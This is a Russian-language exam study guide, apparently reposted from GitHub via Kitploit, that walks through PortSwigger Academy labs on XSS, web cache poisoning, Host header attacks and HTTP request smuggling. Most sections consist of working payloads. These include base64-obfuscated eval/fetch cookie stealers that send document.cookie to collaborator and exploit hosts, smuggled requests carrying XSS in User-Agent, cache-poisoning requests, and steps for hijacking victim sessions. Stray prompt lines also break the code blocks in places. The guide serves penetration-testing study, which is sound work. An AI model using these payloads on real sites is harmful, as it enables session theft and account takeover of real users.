Далее закодируйте полезную нагрузку, используя Base64 encoded значение приведённой выше полезной нагрузки для кражи cookie.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

root@kitploit:~
>Протестируйте полезную нагрузку на нашей собственной сессионной cookie в функции поиска.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Распаковка вышеуказанных этапов сборки полезной нагрузки:

  • Использование метода eval() выполняет или вычисляет аргумент.
  • Использование atob() или btoa() — это функции для кодирования строк в base64 и обратно.
  • Если eval() заблокирован, существуют альтернативы:
    • setTimeout("code")
    • setInterval("code")
    • setImmediate("code")
    • Function("code")()

На этом изображении показан Burp Collaborator, получающий значение моего cookie-файла в качестве подтверждения концепции перед настройкой полезной нагрузки для Deliver exploit to victim.

Burp collaborator получает запрос со значением cookie в base64 из нашего POC.

URL Encode все символы в этой полезной нагрузке и используйте их в качестве значения параметра /?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

root@kitploit:~
>Размещение `IFRAME` на сервере эксплойта выдаёт **ошибку** отказа в подключении к цели. Вместо этого разместите полезную нагрузку на сервере эксплойта между тегами `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

(Доставьте отражённый XSS, чтобы украсть cookie жертвы.

ПРИМЕЧАНИЕ: Deliver exploit to victim несколько раз, если активный пользователь не отправляет HTTP-запрос на collaborator. Замените текущее значение cookie на украденную cookie, чтобы выдать себя за активного пользователя, и переходите к Этапу 2 практического экзамена.

Практический экзамен PortSwigger - Этап 1 - Плацдарм

Хранимый XSS

Хранимый XSS также может быть слепым XSS. Если alert-пейлоад не срабатывает, посмотрите видео NahamSec о слепом XSS пейлоад для клика жертвой, например: <svg/onload=import('//EXPLOIT.net/blind_xss')>
Если хранимый ввод перенаправляет жертву, которая кликает по ссылкам, он отправляет запрос на эксплойт-сервер. Используйте следующий пример кода, чтобы выявить хранимый XSS.```HTML

root@kitploit:~
>Ниже приведены записи журнала, показывающие запросы к эксплойт-серверу, и из журналов мы можем ***определить***, что `/img` и `/video` из указанных выше тегов были разрешены в приложении и выполняли запросы при доступе.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>Межсайтовый скриптинг, сохранённый в комментарии к посту в блоге. Эта полезная нагрузка Cookie Stealer затем отправляет cookie сеанса жертвы в журналы эксплойт-сервера.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

Поиск товаров и магазинов```html ?productId=1&storeId=">

root@kitploit:~
#### Stored XSS запись в блоге  

>Stored XSS: похититель cookie из поста в блоге, отправляющий cookie документа на эксплойт-сервер.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

Указанная ниже цель имеет уязвимость хранимого XSS в функции комментариев блога. Похитьте cookie сессии пользователя-жертвы, который просматривает комментарии после их публикации, а затем используйте эти cookie для выдачи себя за него.

Хранимый XSS в записи блога

Полезная нагрузка JavaScript Cookie Stealer на базе Fetch API в комментарии к записи блога.```JavaScript

root@kitploit:~
>[IPPSEC YouTube с использованием HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), показывающий, как он использует `fetch` в коде JavaScript `payload.js` и изучает JavaScript.  

[PortSwigger Lab: Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  
  
#### Улучшение хранимого self-XSS  

>Комментарий в блоге с **хранимым self-XSS**, улучшающий полезную нагрузку для кражи информации жертвы из DOM. Функция **edit content** отражает ввод в теге `<script>`. CSRF-токен для **write comment** такой же, как и для функций **edit content**. Приведённая ниже полезная нагрузка использует функцию **write comment**, чтобы заставить жертву создать запись в блоге в её собственном блоге с нашим вредоносным содержимым.
>Символ `a` добавлен для экранирования символа `#` из исходного `source code` приложения.
>Приведённый ниже `source code` в записи блога представляет собой полный эксплойт для кражи информации жертвы.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

Эта цель эксплуатируется путем создания HTML-инъекции, которая затирает переменную с именем share_button, см. исходный код ниже, и использует HTML-код выше. Содержимое отражается на странице, затем с помощью этого отражения выполняется перенаправление страницы жертвы на страницу /edit с использованием тега meta http-equiv для обновления страницы через 1 секунду, что приводит к перенаправлению.

Затирание javascript-переменной``` https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

root@kitploit:~
>Доставьте эксплойт: отправив жертве URL, который ссылается на вышеупомянутую запись блога, вы вызовете у неё XSS.  

[intigriti - Self-XSS upgrade - Решение XSS-задачи от 22 декабря](https://youtu.be/FowbZ8IlU7o)  

>Альтернативный эксплойт с использованием HTML-инъекции на странице записи блога Edit Content, ***выявленный*** с помощью [проверки CSP ресурсов XSS](#xss-resources).```
<base href="https://Exploit.net">

Разместите JS-файл на Exploit-сервере как static/js/bootstrap.bundle.min.js, со следующим содержимым:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)

root@kitploit:~
> Модифицированная полезная нагрузка лаборатории PortSwigger присваивает функцию `document.location` переменной `defaultAvatar` при следующей загрузке страницы, поскольку сайт использует DOMPurify, который допускает использование протокола `cid:`, не выполняющего URL-кодирование двойных кавычек.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

Лаборатория PortSwigger: Эксплуатация DOM clobbering для включения XSS

Хранимый DOM XSS

В JavaScript source code включённого скрипта resources/js/loadCommentsWithVulnerableEscapeHtml.js мы определяем функцию html.replace() внутри пользовательской функции loadComments. При тестировании payload-ов мы видим, что функция заменяет только первое вхождение <>.

замена кода хранимого DOM-XSS```html <>

root@kitploit:~
>Приведённая выше полезная нагрузка сохраняется, и при посещении блога с комментариями любым пользователем его сессионный cookie будет украден и отправлен в Collaborator.  

![сохранённые DOM-XSS JSON-комментарии](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>Полезная нагрузка лаборатории PortSwigger: `<>`.  

[Лаборатория PortSwigger: хранимый DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## Отравление веб-кэша  

[Неключевой заголовок](#unkeyed-header)  
[Неключевой Utm_content](#unkeyed-utm_content)  
[Маскировка utm_content](#cloaking-utm_content)  
[Отравление неоднозначного запроса](#poison-ambiguous-request)  
[Отравление кэша несколькими заголовками](#cache-poison-multiple-headers)  

### Неключевой заголовок  

>Целевой сервер использует JavaScript **tracking.js**,  
>и уязвим к заголовку **```X-Forwarded-Host```** или **```X-Host```**, перенаправляющему путь,  
>что позволяет похитить cookie путём отравления кэша.  

>***Определите*** заголовки веб-кэша в ответе и скрипт tracking.js в исходном коде страницы.  
>Эксплуатируйте уязвимость, разместив JavaScript и внедрив заголовок, чтобы отравить кэш цели и перенаправить жертву при посещении.  

![Просмотр `исходного кода` Tracking](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

Размещение на эксплойт-сервере, внедрение заголовка X-Forwarded-Host в запрос и отравление кэша, пока жертва не попадёт на отравленный кэш.``` /resources/js/tracking.js

root@kitploit:~
![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  

>Тело запроса отправляет cookie сеанса в сервис совместной работы.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

Продолжайте отравлять веб-кэш цели, повторно отправляя запрос с заголовком X-Forwarded-Host.

x-cache-hit.png

PortSwigger Lab: Отравление веб-кэша с помощью неключевого заголовка

Видео на Youtube, демонстрирующее вышеуказанную полезную нагрузку лабораторной работы на эксплойт-сервере, изменённую для кражи cookie жертвы, когда жертва попадает на кэшированную запись на внутреннем сервере. Полезная нагрузка — это вышеприведённый JavaScript.

YouTube: Отравление веб-кэша с помощью неключевого заголовка - похититель cookie

Расширение Param Miner для выявления уязвимостей веб-кэша

Неключевой utm_content

Цель уязвима к отравлению веб-кэша, поскольку она исключает определённый параметр из ключа кэша. Функция Param Miner "Guess GET parameters" определит этот параметр как utm_content.

Отражённый запрос кэша``` GET /?utm_content='/>

root@kitploit:~
>Приведенная выше полезная нагрузка кэшируется, и при посещении жертвой целевого ресурса cookie отправляется в Burp Collaborator.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: Web cache poisoning via an unkeyed query parameter](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### Маскировка utm_content  

>Расширение Param Miner при выполнении `Bulk scan > Rails parameter cloaking scan` ***автоматически определяет*** уязвимость. Вручную её можно выявить, добавив `;` для добавления ещё одного параметра к `utm_content`; кэш обрабатывает это как единый параметр. Это означает, что дополнительный параметр также исключается из ключа кэша.  
>`Исходный код` для `/js/geolocate.js?callback=setCountryCookie` вызывается на каждой странице и выполняет функцию обратного вызова.  

>Параметр `callback` входит в ключ кэша, и поэтому с его помощью нельзя отравить кэш для пользователя-жертвы, но при сочетании дублирующего параметра с `utm_content` он исключается, и кэш можно отравить.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

utm_content cache cloaking

Ниже приведена полезная нагрузка для перехвата cookie-файлов при кэш-клоакинге: продолжайте отравлять кэш, пока жертва не попадёт на сохранённый кэш.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

root@kitploit:~
>Ниже приведён [URL-декодированный](https://www.urldecoder.org/) payload.```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

Лаборатория PortSwigger: Сокрытие параметров

Отравление неоднозначного запроса

Добавление второго заголовка Host с эксплойт-сервером выявляет неоднозначную уязвимость кэша и маршрутизирует ваш запрос. Обратите внимание, что эксплойт-сервер во втором заголовке Host отражается в абсолютном URL, используемом для импорта скрипта из /resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net

root@kitploit:~
>На сервере эксплойта создайте файл по тому же пути, по которому цель обращается к `/resources/js/tracking.js`, — в нём будет содержаться полезная нагрузка. Разместите приведённый ниже код JavaScript-полезной нагрузки для выполнения кражи cookie.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

Неоднозначные хосты

PortSwigger Lab: Отравление веб-кэша через неоднозначные запросы

Отравление кэша несколькими заголовками

Определите заголовки попадания в кэш в ответах,
затем проверьте, поддерживает ли цель заголовки X-Forwarded-Host или X-Forwarded-Scheme.
Эти заголовки могут позволить похитить cookie сессии жертвы.

Определите, приводит ли добавление двух заголовков Forwarded к GET-запросу /resources/js/tracking.js к изменению заголовка location в ответе. Это подтверждает успешное отравление кэша с помощью нескольких заголовков.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

root@kitploit:~
![x-forwarded-scheme not https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>На сервере эксплойтов измените путь к файлу на ```/resources/js/tracking.js```  
>и затем обновите заголовок ```X-Forwarded-Host: EXPLOIT.net``` в отравленном запросе.  
>Разместите полезную нагрузку в теле сервера эксплойтов.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

Удалите cb=123 — buster кэша, а затем отравьте кэш, пока жертва не будет перенаправлена на полезную нагрузку tracking.js эксплойт-сервера, чтобы украсть сессионную cookie.

Лаборатория PortSwigger: отравление веб-кэша с использованием нескольких заголовков

Отравление дублирующим параметром (Fat Poison)

Определите, что приложение уязвимо к отравлению дублирующими параметрами: добавьте второй параметр с тем же именем и другим значением — в ответе отразится внедрённое значение.

исходный код countrycode``` GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

root@kitploit:~
>Функция, которая вызывается в ответе при передаче дублированного параметра callback, отражается. Обратите внимание, что в ответе ключ кэша по-прежнему формируется из исходного параметра callback в строке GET-запроса.  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>Не удалось заставить работать полезную нагрузку для кражи cookie......  

[PortSwigger Lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host-заголовки  

[Подделка IP-адреса](#spoof-ip-address)  
[Состояние соединения HOST](#host-connection-state)  
[SSRF на основе маршрутизации Host](#host-routing-based-ssrf)  
[SSRF через некорректный разбор Host-запроса](#absolute-get-url--host-ssrf)  

### Подделка IP-адреса  

>***Определите***, что изменённые HOST-заголовки поддерживаются,  
>что позволяет подменить ваш IP-адрес и обойти защиту от перебора на основе IP-адреса  
>или атаки с перенаправлением, чтобы выполнить отравление ***сброса пароля***.  
  
>Включите приведённые ниже заголовки `X- ` и измените параметр username в запросе сброса пароля на `Carlos` перед отправкой запроса.  
>На экзамене BSCP, если вы использовали этот эксплойт, это означает, что вы не использовали уязвимость, требующую взаимодействия с пользователем, и можете использовать уязвимость взаимодействия для получения доступа к этапу 3 в качестве администратора с помощью функции `Deliver exploit to victim` на сервере эксплойтов.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

Советы и примечания от fullfox:

  • При подмене заголовка Host при сбросе пароля с помощью Host: или X-Forwarded-Host:, если вы получаете ошибку Invalid hostname, попробуйте использовать следующий hostname: xxx.oastify.com?TARGET.net — легитимный URL цели без слэша.

Проверьте журнал эксплойт-сервера, чтобы получить ссылку сброса для имени пользователя жертвы.

Журналы эксплойт-сервера перехватывают токен сброса забытого пароля

Лаборатория PortSwigger: Password reset poisoning via middle-ware

Состояние соединения HOST

Цель уязвима для SSRF на основе маршрутизации через заголовок Host, но проверяет состояние соединения первого запроса. Отправка сгруппированных запросов последовательно через одно соединение и установка заголовка соединения в keep-alive обходит проверку заголовка Host и позволяет эксплуатировать SSRF локального сервера.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive

root@kitploit:~
>Следующий запрос — вторая вкладка в групповой последовательности запросов.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

Обратите внимание, что второй запрос успешно получил доступ к админ-панели.

single connection

PortSwigger Lab: обход проверки Host-заголовка через атаку на состояние соединения


HTTP Request Smuggling

Архитектура с front-end и back-end сервером, где front-end или back-end не поддерживает chunked encoding (HEX) или content-length (Decimal). Обойдите механизмы безопасности, чтобы перехватить запрос жертвы и использовать cookie пользователя-жертвы для доступа к его аккаунту.

TE.CL dualchunk - Transfer-encoding обфусцирован
TE.CL multiCase - Админ заблокирован
CL.TE multiCase - Админ заблокирован
CL.TE multiCase - Похититель cookie через Content-Length
CL.TE multiCase - Похититель cookie через User-Agent
HTTP/2 smuggling - Похититель cookie через CRLF-инъекцию
HTTP/2 TE - Похититель cookie администратора

TE.CL dualchunk - Transfer-encoding обфусцирован

Если разрешены дублирующиеся имена заголовков и уязвимость определяется как dualchunk, то добавьте дополнительный заголовок с именем и значением = Transfer-encoding: cow. Используйте методы обфускации со вторым TE.``` Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding : chunked

Transfer-encoding: identity Transfer-encoding: cow

root@kitploit:~
>Некоторые серверы, поддерживающие заголовок `Transfer-Encoding`, могут быть принуждены не обрабатывать его, если заголовок каким-либо образом **обфусцирован**.  

>В меню Repater убедитесь, что параметр **"Update Content-Length"** не отмечен флажком.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

GPost, запутывание заголовка TE

Примечание: Необходимо включить завершающую последовательность \r\n\r\n после финального 0.

Лаборатория PortSwigger: контрабанда HTTP-запросов, обфускация заголовка Transfer-Encoding (TE)

Интересно, как часто возникает сценарий, при котором хакеру удаётся украсть запрос посещающего пользователя через уязвимость HTTP Sync?

TE.CL multiCase - доступ администратора заблокирован

При обращении к пути /admin портала мы получаем сообщение фильтра, Path /admin is blocked. Сканер HTTP Request Smuggler определяет уязвимость как TE.CL multiCase (delayed response). Примечание: поскольку внутренний сервер не поддерживает chunked-кодирование, отключите Update Content-Length в меню Repeater.

После отключения автоматического обновления Content-Length, переключитесь на HTTP/1.1, затем отправьте приведённый ниже запрос дважды, добавив второй заголовок Content-Length: 15, чтобы предотвратить конфликт заголовка HOST с первым запросом.
Примечание: необходимо включить завершающую последовательность \r\n\r\n после финального 0.

Ручное исправление полей длины в атаках request smuggling требует, чтобы размер каждого чанка в байтах был выражен в шестнадцатеричном формате, а Content-Length задаёт длину тела сообщения в байтах. За каждым чанком следует перевод строки, затем содержимое чанка. Сообщение завершается чанком нулевого размера.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked

71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

root@kitploit:~
>Вычисление длины запроса TE.CL (Transfer-Encoding / Content-Length) для smuggle-запроса в **ШЕСТНАДЦАТЕРИЧНОМ** формате, при этом полезная нагрузка находится между шестнадцатеричной длиной **71** и завершающим **НОЛЁМ**, не включая сам ноль и не включая предшествующий `\r\n` в строке над нулём, как часть длины. Начальный **content-length** POST-запроса задаётся вручную.  
  
![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  

>При отправке `/admin/delete?username=carlos` для удаления пользователя шестнадцатеричное значение длины transfer-encoding меняется с `71` на `88`, чтобы включить дополнительный размер smuggled-запроса.  

[Лаборатория PortSwigger: Эксплуатация HTTP request smuggling для обхода средств безопасности фронтенда, уязвимость TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  

### CL.TE multiCase — Admin заблокирован  

>При попытке доступа к пути URL `/admin` мы получаем сообщение фильтра: `Path /admin is blocked`. Сканер HTTP Request Smuggler ***определяет*** уязвимость как `CL.TE multiCase (delayed response)`.  

>Чтобы получить доступ к админ-панели, отправьте приведённый ниже запрос дважды, добавив второй заголовок ```Content-Length: 10```, чтобы предотвратить конфликт заголовка HOST с первым запросом.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

При второй отправке запроса в ответ возвращается админ-портал.

cl.te multicase admin blocked

Лаборатория PortSwigger: эксплуатация HTTP request smuggling для обхода механизмов безопасности фронтенда, уязвимость CL.TE

CL.TE multiCase - Content-Length

Большой Content-Length для перехвата запросов жертвы. Отправка POST-запроса со внедрённым запросом, но длина содержимого больше реальной длины, и когда жертва просматривает страницу, значение её cookie-сессии публикуется в комментарий blob. Увеличьте Content-Length запроса comment-post до 798, затем внедрите POST-запрос на внутренний сервер.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

root@kitploit:~
![Эксплуатация HTTP request smuggling с помощью значения content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>Выше в присланном (smuggled) POST-запросе в конце нет новой строки^^.  

>Посмотрите в блоге **пост**, чтобы узнать, есть ли там комментарий с запросом пользователя. Учтите, что атака будет успешной только после того, как жертва зайдёт на целевой сайт. Скопируйте Cookie-заголовок пользователя из комментария в блоге и используйте этот cookie для доступа к аккаунту жертвы.  
  
![Эксплуатация HTTP request smuggling для перехвата запросов других пользователей](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[Лаборатория PortSwigger: Эксплуатация HTTP request smuggling для перехвата запросов других пользователей](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - Похититель cookie через User-Agent  
  
>***Определите***, что значение UserAgent сохраняется в GET-запросе, загружающем форму комментария, а также сохраняется в скрытом значении **User-Agent**. Эксплуатация HTTP request smuggling для доставки отражённого XSS с использованием значения **User-Agent**, которое затем помещается в контрабандный (smuggled) запрос.  

>Базовый XSS-пейлоад, выходящий за пределы HTML-документа.```JavaScript
 "/><script>alert(1)</script>

COOKIE STEALER Пейлоад.```JavaScript a"/>;

root@kitploit:~
>Протащите этот XSS-запрос на внутренний сервер, чтобы он поразил следующего посетителя. Поместите XSS-стилер cookie в заголовок **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

HTTP-смуглинг запросов для доставки отражённого XSS и кражи cookie жертвы

Проверьте запрос PortSwigger Collaborator, полученный от жертвы, просматривающей целевой сайт.

Collaborator перехватывает XSS-запрос от жертвы, просматривающей целевой сайт

Лабораторная работа PortSwigger: эксплуатация HTTP-смуглинга запросов для доставки отражённого XSS

Смуглинг HTTP/2 через CRLF-инъекцию

Целевой сервер уязвим к смуглингу запросов, поскольку фронтенд-сервер понижает версию HTTP/2 запросов и не выполняет адекватную санитизацию входящих заголовков. Эксплуатация осуществляется с помощью вектора смуглинга запросов, характерного только для HTTP/2, чтобы похитить сессионную cookie жертвы и получить доступ к учётной записи пользователя.

Определите возможную уязвимость, когда целевой сервер отражает предыдущую и недавнюю историю поиска на основе cookie; при удалении cookie видно, что история поиска сбрасывается, что подтверждает её привязку к вашей сессионной cookie.

недавние поиски

Разверните раздел Request Attributes (атрибуты запроса) в Inspector и измените протокол на HTTP/2, затем добавьте произвольный заголовок foo со значением bar, добавьте последовательность \r\n, а затем Transfer-Encoding: chunked, нажав shift+ENTER.

http2-inspector

Примечание: включите опцию Allow HTTP/2 ALPN override и замените тело HTTP/2-запроса на приведённый ниже POST-запрос.```html 0

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800

search=nutty

root@kitploit:~
![http2 smuggle via crlf inject](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[Лаборатория PortSwigger: HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Демонстрация YouTube: HTTP/2 request smuggling via CRLF injection](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>Цель уязвима для контрабанды запросов, потому что фронтенд-сервер понижает версию HTTP/2 запросов, даже если они имеют неоднозначную длину. Украдите session cookie администратора, посещающего цель. Расширение Burp, **HTTP Request Smuggler**, ***идентифицирует*** уязвимость как HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>Примечание: Переключитесь на **HTTP/2** в атрибутах запроса Inspector и включите опцию **Allow HTTP/2 ALPN override** в меню Repeater.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

Примечание: Пути в запросах POST и GET указывают на несуществующие конечные точки. Это помогает определить: если не получен ответ 404, значит, ответ — это перехваченный запрос пользователя-жертвы. Помните, что нужно правильно завершить контрабандный запрос, включив последовательность \r\n\r\n после заголовка Host.

302 Ответ после перехвата запроса с украденным cookie администратора

Скопируйте значение украденной сессионной cookie в новый запрос http/2 GET к панели администратора.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

root@kitploit:~
![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[PortSwigger Lab: Отравление очереди ответов через H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## Брутфорс  

[Stay-Logged-in](#stay-logged-in)  
[Офлайн-взлом Stay-logged-in](#stay-logged-in-offline-crack)  
[Брутфорс защищённого входа](#brute-force-protected-login)  
[Едва заметный неверный вход](#subtly-invalid-login)  

### Stay-Logged-in  

>Вариант входа с флажком stay-logged-in приводит к тому, что значение Cookie содержит пароль вошедшего пользователя и уязвимо для брутфорса.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

